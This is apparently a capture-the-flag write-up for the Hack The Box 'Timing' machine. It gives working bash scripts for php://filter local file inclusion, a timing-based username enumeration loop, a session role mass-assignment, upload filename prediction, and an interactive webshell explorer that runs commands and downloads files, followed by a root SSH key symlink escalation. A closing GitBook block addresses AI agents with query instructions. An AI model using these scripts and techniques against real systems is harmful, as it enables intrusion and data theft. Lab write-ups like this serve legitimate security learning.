> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-timing.md).
# HTB - Timing
## Enumeration and Foothold
### NMAP
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
There is forgot password link too but nothing happens clicking it.
Directory enumeration revealed interesting directories.
There is an image.php.
Returns nothing what if there is a hidden parameter that it expects
#### Fuzzing Hidden Parameters
Did not find any parameters.
Looking at the source code there is a link to images directory what if the parameter loads this directory.
```bash
┌──(ajay㉿kali)-[~]
└─$ ffuf -u "http://10.129.61.57/image.php?FUZZ=images/user-icon.png" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.61.57/image.php?FUZZ=images/user-icon.png
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
img [Status: 200, Size: 38616, Words: 277, Lines: 214, Duration: 44ms]
:: Progress: [6453/6453] :: Job [1/1] :: 943 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
```
There is a parameter.
The parameter is directly referencing local file a possible chance of LFI
### Local File Inclusion
need to bypass the filter.
slashes in any form (`/`, `%2F`, and doubled `//`) are all being stripped or blocked.
But the wrappers work.
#### Custom script to use LFI and decode
```bash
#!/bin/bash
#
# lfi_pull.sh - Pull and decode a file via image.php php://filter LFI
#
# Usage:
# ./lfi_pull.sh
# ./lfi_pull.sh /etc/passwd
# ./lfi_pull.sh config.php
# ./lfi_pull.sh ../../../etc/hostname
#
# Optional overrides via env vars:
# TARGET - base URL (default: http://10.129.61.57)
# COOKIE - session cookie (default: none)
set -euo pipefail
TARGET="${TARGET:-http://10.129.61.57}"
COOKIE="${COOKIE:-}"
if [ $# -lt 1 ]; then
echo "Usage: $0 "
echo "Example: $0 /etc/passwd"
exit 1
fi
FILE="$1"
CURL_ARGS=(-s -G)
if [ -n "$COOKIE" ]; then
CURL_ARGS+=(-H "Cookie: $COOKIE")
fi
# URL-encode the resource value so special chars in the path don't break the request
ENCODED_FILE=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$FILE")
URL="${TARGET}/image.php?img=php://filter/convert.base64-encode/resource=${ENCODED_FILE}"
echo "[*] Requesting: $URL" >&2
RESPONSE=$(curl "${CURL_ARGS[@]}" "$URL")
if echo "$RESPONSE" | grep -qi "Hacking attempt detected"; then
echo "[!] Request was blocked by the filter." >&2
exit 2
fi
if [ -z "$RESPONSE" ]; then
echo "[!] Empty response - file may not exist or path is wrong." >&2
exit 3
fi
DECODED=$(echo "$RESPONSE" | base64 -d 2>/dev/null) || {
echo "[!] Failed to base64-decode response. Raw output was:" >&2
echo "$RESPONSE" >&2
exit 4
}
echo "$DECODED"
```
```bash
─(ajay㉿kali)-[~]
└─$ ./lfipull.sh login.php
[*] Requesting: http://10.129.61.57/image.php?img=php://filter/convert.base64-encode/resource=login.php
prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
}
?>
```bash
┌──(ajay㉿kali)-[~]
└─$ while read -r username; do
t=$(curl -s -o /dev/null -w "%{time_total}" \
-X POST \
-d "user=${username}&password=wrongpass123" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: PHPSESSID=plstf0hs8ssb59437vs7v7hprh" \
"http://10.129.61.57/login.php?login=true")
echo "$t $username"
done < users.txt | sort -rn
1.174014 aaron
0.102261 list
0.100617 www-data
0.098926 mail
0.096972 gnats
0.096311 uuidd
0.095533 sshd
0.095529 lxd
0.095315 irc
0.095299 mysql
0.095276 news
0.094545 lp
0.094136 _apt
0.093580 dnsmasq
0.093509 systemd-resolve
0.092769 root
0.092222 backup
0.091529 man
0.091130 pollinate
0.090876 landscape
0.090821 nobody
0.090764 daemon
0.090758 bin
0.090579 sync
0.090531 games
0.090518 messagebus
0.090385 proxy
0.090323 sys
0.088895 syslog
0.088584 uucp
0.086706 systemd-network
```
Username aaron is valid.
i already have a credential from the db file but it is invalid.
But trying username as password works.
i can use the lfi script to grab the source to see actually what is happening here.
```bash
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role; // <-- sets session role from user input
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', ... WHERE id=$id"; // role NOT in UPDATE
```
The comment `// dont persist role` is telling on itself — the dev *tried* to prevent role escalation by leaving `role` out of the SQL `UPDATE` statement (so the DB value doesn't change). But they still let the **session** get overwritten directly from \`POST\[′role′]‘before that check.So even though the database still says you′re a regular user,you r live session(‘\_POST\['role']\` before that check. So even though the database still says you're a regular user, your live session (\` POST\[′role′]‘ before that check.So even though the database still says you′re a regular user,your live session(‘\_SESSION\['role']\`) becomes whatever you send likely `admin`.
so i can likely change the role of aaron using Mass Assignment
### Mass Assignment
the role got admitted.
i can upload a file.
only images are allowed so i will create an image file with php web shell
### File Upload RCE via Image
I can pull upload.php to see whats actually happening.
```bash
──(ajay㉿kali)-[~]
└─$ ./lfipull.sh upload.php
[*] Requesting: http://10.129.61.57/image.php?img=php://filter/convert.base64-encode/resource=upload.php
```
Note that odd bug in the source: `md5('$file_hash' . time())` — the `$file_hash` is inside **single quotes**, so PHP does NOT interpolate the variable. It's literally hashing the string `$file_hash` concatenated with the current Unix timestamp, not the actual `uniqid()` value. That means the filename prefix is just `md5("$file_hash" . time())` where `time()` is predictable (current server time, which you can get from the `Date:` response header).
The Response time is Wed, 12 Aug 2026 02:50:30 GMT
convert to epoch time
```bash
┌──(ajay㉿kali)-[~]
└─$ date -d "Wed, 12 Aug 2026 02:50:30 GMT" +%s
1786503030
```
use php to calculate the hash.
```bash
┌──(ajay㉿kali)-[~]
└─$ php -a
Interactive shell
php > echo md5('$file_hash' . "1786503030") . '_shell.jpg';
5785c882378b7d4e0bf9fc1fe2b452a3_shell.jpg
```
Says error but requesting it through curl works.
trying every payload doesn’t work to get reverse shell
that said i am gonna build a custom file using claude to enumerate the filesystem and download files if there are of any interest.
#### Custom bash script for enumerating file system when RCE dont work
```bash
#!/bin/bash
#
# webshell_explorer.sh - Interactive filesystem browser/downloader using the
# image.php LFI-include RCE (via the uploaded shell.jpg webshell).
#
# Usage:
# ./webshell_explorer.sh
#
# Optional overrides via env vars:
# TARGET - base URL (default: http://10.129.61.57)
# SHELL_PATH - path to the uploaded webshell (default known hash)
# COOKIE - session cookie, if needed
#
# Commands inside the interactive prompt:
# ls [path] - list a directory (defaults to cwd on the target)
# cd - change remembered remote directory
# pwd - show current remote directory
# cat - print a file's contents
# run - run an arbitrary shell command on target
# download - fetch file to ./loot/ on your machine
# exit / quit - leave
set -uo pipefail
TARGET="${TARGET:-http://10.129.61.57}"
SHELL_PATH="${SHELL_PATH:-images/uploads/5785c882378b7d4e0bf9fc1fe2b452a3_shell.jpg}"
COOKIE="${COOKIE:-}"
LOOT_DIR="./loot"
mkdir -p "$LOOT_DIR"
CURL_BASE=(-s -G "${TARGET}/image.php")
CURL_BASE+=(--data-urlencode "img=${SHELL_PATH}")
if [ -n "$COOKIE" ]; then
CURL_BASE+=(-H "Cookie: $COOKIE")
fi
remote_cwd="/var/www/html"
run_cmd() {
local cmd="$1"
curl "${CURL_BASE[@]}" --data-urlencode "cmd=${cmd}"
}
echo "[*] Webshell explorer connected to ${TARGET}"
echo "[*] Using shell at: ${SHELL_PATH}"
echo "[*] Remote starting dir (assumed): ${remote_cwd}"
echo "[*] Type 'help' for commands."
echo
while true; do
read -e -p "remote:${remote_cwd}\$ " -a input
[ ${#input[@]} -eq 0 ] && continue
action="${input[0]}"
arg="${input[*]:1}"
case "$action" in
help)
cat < change remembered remote directory (does not verify existence)
pwd show current remembered remote directory
cat print a file's contents (relative to cwd unless absolute)
run run an arbitrary shell command on target
download fetch a file into ./loot/ on your local machine
exit / quit leave
EOF
;;
ls)
target_path="${arg:-$remote_cwd}"
run_cmd "ls -la '${target_path}'"
echo
;;
cd)
if [ -z "$arg" ]; then
echo "Usage: cd "
else
if [[ "$arg" == /* ]]; then
remote_cwd="$arg"
else
remote_cwd="${remote_cwd%/}/$arg"
fi
echo "[*] Remembered dir set to: $remote_cwd"
fi
;;
pwd)
echo "$remote_cwd"
;;
cat)
if [ -z "$arg" ]; then
echo "Usage: cat "
else
file_path="$arg"
[[ "$file_path" != /* ]] && file_path="${remote_cwd%/}/$file_path"
run_cmd "cat '${file_path}'"
echo
fi
;;
run)
if [ -z "$arg" ]; then
echo "Usage: run "
else
run_cmd "$arg"
echo
fi
;;
download)
if [ -z "$arg" ]; then
echo "Usage: download "
else
file_path="$arg"
[[ "$file_path" != /* ]] && file_path="${remote_cwd%/}/$file_path"
local_name="$LOOT_DIR/$(basename "$file_path")"
echo "[*] Downloading '$file_path' -> $local_name"
# base64-encode on the target via the RCE, then decode locally.
# This avoids issues with binary data / control chars over the cmd= channel.
b64=$(run_cmd "base64 -w0 '${file_path}' 2>/dev/null")
if [ -z "$b64" ]; then
echo "[!] No data returned - file may not exist or isn't readable."
else
echo "$b64" | base64 -d > "$local_name" 2>/dev/null
if [ -s "$local_name" ]; then
echo "[+] Saved to $local_name ($(stat -c%s "$local_name") bytes)"
else
echo "[!] Decode failed or file empty. Raw output was:"
echo "$b64"
rm -f "$local_name"
fi
fi
echo
fi
;;
exit|quit)
echo "Bye."
break
;;
*)
echo "Unknown command: $action (type 'help')"
;;
esac
done
```
```
remote:/opt$ download source-files-backup.zip
[*] Downloading '/opt/source-files-backup.zip' -> ./loot/source-files-backup.zip
[+] Saved to ./loot/source-files-backup.zip (627851 bytes)
```
There is a git directory.
there is a update of password we can try suing those against aaron through ssh.
## Shell as Aaron
It works
### Privilege Escalation via netutils
```
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
```
File is downloaded to current directory
downloaded file is owned by root
that means if i i create a symlink of a root ssh key file i can be able to write ssh keys to root ssh directory but creating symlink.
create a symlink and download
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-timing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
